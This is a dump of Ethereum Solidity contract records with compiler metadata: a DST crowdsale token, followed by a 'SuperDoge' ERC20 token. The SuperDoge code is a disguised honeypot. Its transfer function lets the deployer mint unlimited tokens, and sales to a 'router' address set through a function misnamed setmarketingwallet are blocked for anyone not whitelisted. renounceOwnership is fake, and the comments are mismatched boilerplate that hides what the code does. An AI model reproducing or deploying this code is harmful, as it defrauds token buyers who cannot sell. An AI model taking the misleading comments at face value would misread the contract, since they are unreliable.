uint256 totalBalance;
if(_walletId == 0){
totalBalance = safeAdd(walletA[_beneficiary], releasedA[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedA[_beneficiary]);
}
else if(_walletId == 1){
totalBalance = safeAdd(walletB[_beneficiary], releasedB[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedB[_beneficiary]);
}
else if(_walletId == 2){
totalBalance = safeAdd(walletC[_beneficiary], releasedC[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedC[_beneficiary]);
}
else{
revert();
}
}
function getReleasableBonusAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 5){
totalBalance = safeAdd(walletF[_beneficiary], releasedF[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedF[_beneficiary]);
}
else if(_walletId == 6){
totalBalance = safeAdd(walletG[_beneficiary], releasedG[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedG[_beneficiary]);
}
else if(_walletId == 7){
totalBalance = safeAdd(walletH[_beneficiary], releasedH[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedH[_beneficiary]);
}
else{
revert();
}
}
function getData(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 availableBalanceIn = safeDiv(safeMul(_totalBalance, safeSub(allWalletConfig[_walletId].cliff, allWalletConfig[_walletId].start)), allWalletConfig[_walletId].duration);
return safeMul(availableBalanceIn, safeDiv(getVestedAmount(_walletId,_totalBalance), availableBalanceIn));
}
function getVestedAmount(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 cliff = allWalletConfig[_walletId].cliff;
uint256 start = allWalletConfig[_walletId].start;
uint256 duration = allWalletConfig[_walletId].duration;
if (now < cliff) {
return 0;
} else if (now >= safeAdd(start,duration)) {
return _totalBalance;
} else {
return safeDiv(safeMul(_totalBalance,safeSub(now,start)),duration);
}
}
// Sale of the tokens. Investors can call this method to invest into DST Tokens
function() payable external {
// Allow only to invest in ICO stage
require(startStop);
// Sorry !! We only allow to invest with minimum 1 Ether as value
require(msg.value >= 1 ether);
// multiply by exchange rate to get newly created token amount
uint256 createdTokens = safeMul(msg.value, tokensPerEther);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[3],msg.sender, createdTokens);
}
// DST accepts Cash Investment through manual process in Fiat Currency
// DST Team will assign the tokens to investors manually through this function
//@ param cashInvestor address of investor
//@ param assignedTokens number of tokens to give to investor
function cashInvestment(address cashInvestor, uint256 assignedTokens) onlyOwner external {
// Check if cashInvestor address is set or not
// By mistake tokens mentioned as 0, save the cost of assigning tokens.
require(cashInvestor != address(0) && assignedTokens > 0);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[4],cashInvestor, assignedTokens);
}
// // Function will transfer the tokens to investor's address
// // Common function code for Crowdsale Investor And Cash Investor
// function assignTokens(address investor, uint256 tokens) internal {
// // Creating tokens and increasing the totalSupply
// totalSupply = safeAdd(totalSupply, tokens);
// // Assign new tokens to the sender
// balances[investor] = safeAdd(balances[investor], tokens);
// // Finally token created for sender, log the creation event
// Transfer(0, investor, tokens);
// }
// Function will transfer the tokens to investor's address
// Common function code for Crowdsale Investor And Cash Investor
function assignTokensWallet(address walletAddress,address investor, uint256 tokens) internal {
// Check wallet have enough token balance to assign
require(tokens <= balances[walletAddress]);
// Creating tokens and increasing the totalSupply
totalSupply = safeAdd(totalSupply, tokens);
// Debit the tokens from wallet
balances[walletAddress] = safeSub(balances[walletAddress],tokens);
// Assign new tokens to the sender
balances[investor] = safeAdd(balances[investor], tokens);
// Finally token created for sender, log the creation event
Transfer(0, investor, tokens);
}
function finalizeCrowdSale() external{
// Check DST Multisig wallet set or not
require(DSTMultisig != address(0));
// Send fund to multisig wallet
require(DSTMultisig.send(address(this).balance));
}
// @param _who The address of the investor to check balance
// @return balance tokens of investor address
function balanceOf(address _who) public constant returns (uint) {
return balances[_who];
}
// @param _owner The address of the account owning tokens
// @param _spender The address of the account able to transfer the tokens
// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public constant returns (uint) {
return allowed[_owner][_spender];
}
// Transfer `value` DST tokens from sender's account
// `msg.sender` to provided account address `to`.
// @param _to The address of the recipient
// @param _value The number of DST tokens to transfer
// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) public returns (bool ok) {
//validate receiver address and value.Not allow 0 value
require(_to != 0 && _value > 0);
uint256 senderBalance = balances[msg.sender];
//Check sender have enough balance
require(senderBalance >= _value);
senderBalance = safeSub(senderBalance, _value);
balances[msg.sender] = senderBalance;
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
// Transfer `value` DST tokens from sender 'from'
// to provided account address `to`.
// @param from The address of the sender
// @param to The address of the recipient
// @param value The number of miBoodle to transfer
// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) public returns (bool ok) {
//validate _from,_to address and _value(Now allow with 0)
require(_from != 0 && _to != 0 && _value > 0);
//Check amount is approved by the owner for spender to spent and owner have enough balances
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value);
balances[_from] = safeSub(balances[_from],_value);
balances[_to] = safeAdd(balances[_to],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
// `msg.sender` approves `spender` to spend `value` tokens
// @param spender The address of the account able to transfer the tokens
// @param value The amount of wei to be approved for transfer
// @return Whether the approval was successful or not
function approve(address _spender, uint _value) public returns (bool ok) {
//validate _spender address
require(_spender != 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// This method is only use for debit DSTToken from DST wallet L,M,N and O
// @dev Required state: is dstWalletLMNO set
// @param _walletAddress The address of the wallet from tokens debit
// @param token The number of DST tokens to debit
// @return Whether the debit was successful or not
function debitWalletLMNO(address _walletAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check wallet have enough token and token is valid
require(balances[_walletAddress] >= token && token > 0);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, token);
// Debit tokens from wallet balance
balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// This method is only use for credit DSTToken to DST wallet L,M,N and O users
// @dev Required state: is dstWalletLMNO set
// @param claimAddress The address of the wallet user to credit tokens
// @param token The number of DST tokens to credit
// @return Whether the credit was successful or not
function creditWalletUserLMNO(address claimAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check claiment address and token is valid or not
require(claimAddress != address(0) && token > 0);
// Assign tokens to user
balances[claimAddress] = safeAdd(balances[claimAddress], token);
// balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// DSTWalletLMNO related modifer
// @dev Throws if called by any account other than the DSTWalletLMNO owner
modifier onlyDSTWalletLMNO() {
require(msg.sender == dstWalletLMNO);
_;
}
} | creditWalletUserLMNO | function creditWalletUserLMNO(address claimAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check claiment address and token is valid or not
require(claimAddress != address(0) && token > 0);
// Assign tokens to user
balances[claimAddress] = safeAdd(balances[claimAddress], token);
// balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
| // This method is only use for credit DSTToken to DST wallet L,M,N and O users
// @dev Required state: is dstWalletLMNO set
// @param claimAddress The address of the wallet user to credit tokens
// @param token The number of DST tokens to credit
// @return Whether the credit was successful or not | LineComment | v0.4.18+commit.9cf6e910 | bzzr://8144d0818eaf9b3524a6cb0e7e938e7d023ea6924bfecc3c627a546b3b11561e | {
"func_code_index": [
17587,
18135
]
} | 8,965 |
|||
SuperDoge | SuperDoge.sol | 0x5f7b6a5ad36dffe19c5a4299df9a1e4b9d4222ed | Solidity | SafeMath | library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function red(uint256 a, uint256 b) internal pure returns (uint256) {
return redc(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
} | cre | function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
| /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/ | Comment | v0.8.10+commit.fc410830 | None | ipfs://82f23172e4118c876a8cea2b22e6e94d59ad6fa142059e3d8ad2a429d4e5ff70 | {
"func_code_index": [
1162,
1352
]
} | 8,966 |
||
SuperDoge | SuperDoge.sol | 0x5f7b6a5ad36dffe19c5a4299df9a1e4b9d4222ed | Solidity | SafeMath | library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function red(uint256 a, uint256 b) internal pure returns (uint256) {
return redc(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
} | cal | function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/ | NatSpecMultiLine | v0.8.10+commit.fc410830 | None | ipfs://82f23172e4118c876a8cea2b22e6e94d59ad6fa142059e3d8ad2a429d4e5ff70 | {
"func_code_index": [
1937,
2075
]
} | 8,967 |
||
SuperDoge | SuperDoge.sol | 0x5f7b6a5ad36dffe19c5a4299df9a1e4b9d4222ed | Solidity | SafeMath | library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function red(uint256 a, uint256 b) internal pure returns (uint256) {
return redc(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
} | redc | function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
| /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/ | NatSpecMultiLine | v0.8.10+commit.fc410830 | None | ipfs://82f23172e4118c876a8cea2b22e6e94d59ad6fa142059e3d8ad2a429d4e5ff70 | {
"func_code_index": [
3002,
3202
]
} | 8,968 |
||
SuperDoge | SuperDoge.sol | 0x5f7b6a5ad36dffe19c5a4299df9a1e4b9d4222ed | Solidity | Ownable | contract Ownable is Context {
address internal recipients;
address internal router;
address public owner;
mapping (address => bool) internal confirm;
event owned(address indexed previousi, address indexed newi);
constructor () {
address msgSender = _msgSender();
recipients = msgSender;
emit owned(address(0), msgSender);
}
modifier checker() {
require(recipients == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function renounceOwnership() public virtual checker {
emit owned(owner, address(0));
owner = address(0);
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
} | renounceOwnership | function renounceOwnership() public virtual checker {
emit owned(owner, address(0));
owner = address(0);
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.8.10+commit.fc410830 | None | ipfs://82f23172e4118c876a8cea2b22e6e94d59ad6fa142059e3d8ad2a429d4e5ff70 | {
"func_code_index": [
991,
1126
]
} | 8,969 |
||
SuperDoge | SuperDoge.sol | 0x5f7b6a5ad36dffe19c5a4299df9a1e4b9d4222ed | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function setmarketingwallet (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function fee(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function teamwallet(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
fee(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
} | symbol | function symbol() public view virtual override returns (string memory) {
return _symbol;
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.10+commit.fc410830 | None | ipfs://82f23172e4118c876a8cea2b22e6e94d59ad6fa142059e3d8ad2a429d4e5ff70 | {
"func_code_index": [
906,
1015
]
} | 8,970 |
||
SuperDoge | SuperDoge.sol | 0x5f7b6a5ad36dffe19c5a4299df9a1e4b9d4222ed | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function setmarketingwallet (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function fee(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function teamwallet(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
fee(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
